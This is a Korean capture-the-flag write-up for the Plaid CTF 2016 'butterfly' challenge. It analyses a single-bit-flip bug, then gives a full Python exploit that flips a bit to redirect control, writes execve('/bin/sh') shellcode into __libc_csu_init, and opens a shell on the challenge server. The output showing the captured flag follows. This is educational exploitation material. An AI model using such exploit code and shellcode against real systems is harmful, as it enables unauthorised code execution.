By rls1004 | March 15, 2016
butterfly (Plaid CTF 2016 Quals 150pt) write-up
64 bit elf 바이너리와 remote 서버가 주어졌습니다!
Analysis
바이너리를 분석해봅시다!
- line
16
- v10에 최대 50바이트의 입력을 받는다.
- line
18
- 입력한 문자열의 앞부분에 있는 정수 문자열을 정수로 변환한다.
- line
21
,22
- 변환한 정수를 오른쪽으로 3비트 밀고 하위 3비트를 0으로 만든 후 그 주소(v7)로부터 0x1000 바이트 만큼의 영역에 rwx(7) 권한을 준다.
- line
20
,29
- 변환한 정수(v4)를 오른쪽으로 3 비트 밀고, 그 주소에 쓰여진 값과 1을 왼쪽으로 정수(v4)의 하위 3 바이트 만큼 민 값을 xor 연산하여 저장한다.
- line
30
- 주소(v7)로부터 0x1000 바이트 만큼의 영역에 r-x(5) 권한을 준다.
해당 라인을 분석한 내용인데요, 결국 원하는 주소에 들어있는 1 바이트 중 원하는 1 비트를 바꿀 수 있습니다.
29: *(v4 >> 3) = (v4 & 7)
이므로 ([주소] << 3) | (7이하의 수) 를 입력하면 [주소]에 들어있는 값의 (7이하의 수)+1 번째 비트가 반전됩니다.
[주소]에 있는 값을 4와 xor 연산하고 싶다면 4는 2진수로 100(2)이니 ([주소] << 3) | 2 를 입력하면 됩니다.
이제 1 비트를 이용해서 EIP를 변조할 방법을 생각해야 하는데, 제일 먼저 눈에 들어오는 건 우리가 실행하고 있는 영역인 코드영역이죠?
코드영역 0x400860 에는 “add rsp, 48h” 라는 코드가 들어있고 op code로는 “0x48 0x83 0xc4 0x48” 입니다.
여기서 0x400863 위치에 있는 0x48이 “48h”에 해당하는 값인데요, 이 값을 바꾸면 rsp의 위치를 변조할 수 있고 rsp 변조 가능하다는 것은 EIP 변조가 가능하다는 의미가 됩니다! EIP를 원하는 곳으로 바꾸고 싶다면 우리의 입력값이 들어가는 영역인 v10의 영역 안으로 rsp를 가져와야 합니다. 입력값이 들어가는 v10의 영역은 rsp+0 부터 rsp+32h 까지입니다.
add 명령을 수행하고 나서 pop 명령어 네 번이 나오는 것 까지 생각하면, 0x48의 1 비트를 변조시켜서 0과 0xA 사이의 값이 나와야 하는데 가능한 경우는 0x48 ^ (1<<6) = 0x08
밖에 없습니다.
0x08 + 8*4(pop 네 번) = 40
이므로 입력값+40 위치에 있는 주소로 EIP가 바뀌게 됩니다.
EIP를 어디로 바꿔야 할까?
main함수는 원하는 1 비트를 바꿀 수 있는 코드지만 main함수가 계속 반복된다면 원하는 여러 주소에 있는 여러 비트들을 변경시킬 수 있고, 실행권한도 주어지니 쉘 코드를 올리고 실행하는 것도 가능하겠네요!
EIP는 main함수의 시작 위치로 바꿉시다.
shell code를 어디에 넣어야 할까?
원하는 주소에 값을 넣을 수 있지만 원래의 값과 xor 연산해서 들어가는 값입니다.
원하는 값을 넣어주고 싶다면 원래 어떤 값이 들어있는지도 알아야되는 상황인데요..
그렇다면 디버거를 통해 확인할 수 있는 코드 영역을 노릴 수 있습니다.
__libc_csu_init 함수에 shell code를 넣어봅시다.
Exploit
from socket import *
from struct import *
p = lambda x : pack("<Q", x)
up = lambda x : unpack("<Q", x)
host = 'butterfly.pwning.xxx'
port = 9999
sock = socket(AF_INET, SOCK_STREAM, 0)
sock.connect((host, port))
def until(s, string):
data = ''
while string not in data:
data += s.recv(1)
return data
print until(sock, "RAY?\n")
main = 0x400788 # start main
target = 0x400890 # __libc_csu_init
shell = [0x48, 0x31, 0xd2, 0x48, 0xbb, 0x2f, 0x2f, 0x62, 0x69, 0x6e,
0x2f, 0x73, 0x68, 0x48, 0xc1, 0xeb, 0x08, 0x53, 0x48, 0x89,
0xe7, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0x0f, 0x05]
origin = [0x41, 0x57, 0x41, 0x56, 0x41, 0x89, 0xff, 0x41, 0x55, 0x41,
0x54, 0x4c, 0x8d, 0x25, 0x16, 0x02, 0x20, 0x00, 0x55, 0x48,
0x8d, 0x2d, 0x16, 0x02, 0x20, 0x00, 0x53, 0x49, 0x89, 0xf6]
control_ret = 0x400863 # 48h (add rsp, 48h)
msg = str((control_ret<<3)|6)
msg += "A"*(40-len(msg)) + p(main) +"\n"
sock.send(msg)
print msg
print "[*] return address -> main"
print until(sock, "?\n")
## write shell code in __libc_csu_init
print "[*] write shell code"
for i in range(len(shell)):
s = shell[i]
o = origin[i]
sxo = s^o
bit = 0
print str(i) + " write..."
while sxo != 0:
if bit > 7:
print "[error] bit: " + str(bit)
break
mod = sxo % 2
sxo = sxo / 2
if mod == 1:
until(sock, "RAY?\n")
msg = str(((target+i)<<3)|(bit))
msg += "A"*(40-len(msg)) + p(main) +"\n"
sock.send(msg)
until(sock, "?\n")
bit = bit+1
print until(sock, "RAY?\n")
msg = str((target+40)<<3)
msg += "A"*(40-len(msg)) + p(target) +"\n"
sock.send(msg)
print msg
print "[*] return address -> target"
print until(sock, "?\n")
while True:
cmd = raw_input('$ ')
sock.send(cmd+"\n")
print sock.recv(1024)
$ python ex_butterfly.py
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
33571614AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
[*] return address -> main
WAS IT WORTH IT???
[*] write shell code
0 write...
1 write...
2 write...
3 write...
4 write...
5 write...
6 write...
7 write...
8 write...
9 write...
10 write...
11 write...
12 write...
13 write...
14 write...
15 write...
16 write...
17 write...
18 write...
19 write...
20 write...
21 write...
22 write...
23 write...
24 write...
25 write...
26 write...
27 write...
28 write...
29 write...
THOU ART GOD, WHITHER CASTEST THY COSMIC RAY?
33572288AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
[*] return address -> target
WAS IT WORTH IT???
$ id
uid=1001(problem) gid=1001(problem) groups=1001(problem)
$ ls
butterfly
flag
wrapper
$ cat flag
PCTF{b1t_fl1ps_4r3_0P_r1t3}
flag : b1t_fl1ps_4r3_0P_r1t3
수고하셨습니다 :)